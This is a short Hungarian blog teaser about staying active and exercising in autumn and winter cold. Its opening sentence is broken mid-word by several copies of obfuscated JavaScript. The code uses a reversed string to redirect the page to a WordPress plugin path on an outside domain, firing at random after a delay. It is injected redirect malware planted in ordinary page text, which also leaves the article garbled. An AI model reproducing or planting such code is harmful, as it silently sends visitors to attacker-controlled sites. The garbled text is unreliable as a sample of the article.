Az ősz és a tél nagy váltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozást hoz a természetben és a hőmérsékletben is. Ehhez igyekszünk igazodni az öltözködéssel is. A napos órák száma egyre kevesebb, esős, hidegre kell számítanunk, és a napfény hiánya búskomorrá tehet. Ismert, hogy a mozgás mennyire jót tehet egészségünkkel, kitartásunkkal és aktivitásunk fenntartásával. Talán nehéz rávenni magunkat, de ha egyszer ráérzünk az ízére, örömmel és még inkább látványos eredménnyel kecsegtet, a kedvünk is megjön a mozgáshoz. Könnyebben működik tavasszal, amikor elhatározzuk, hogy bikini szezonra megszabadulunk a súlyfeleslegtől és formába hozzuk magunkat. A kánikula is visszavethet az edzésekben, de ugyanúgy hátráltathat a nagy hideg is. Télen…
A cikk folytatódik: http://marmalade.co.hu/kulcsin/2018/12/02/a-hideg-es-a-sport-osszefer-ha-okosan-csinaljuk.html
- Hirdetés -
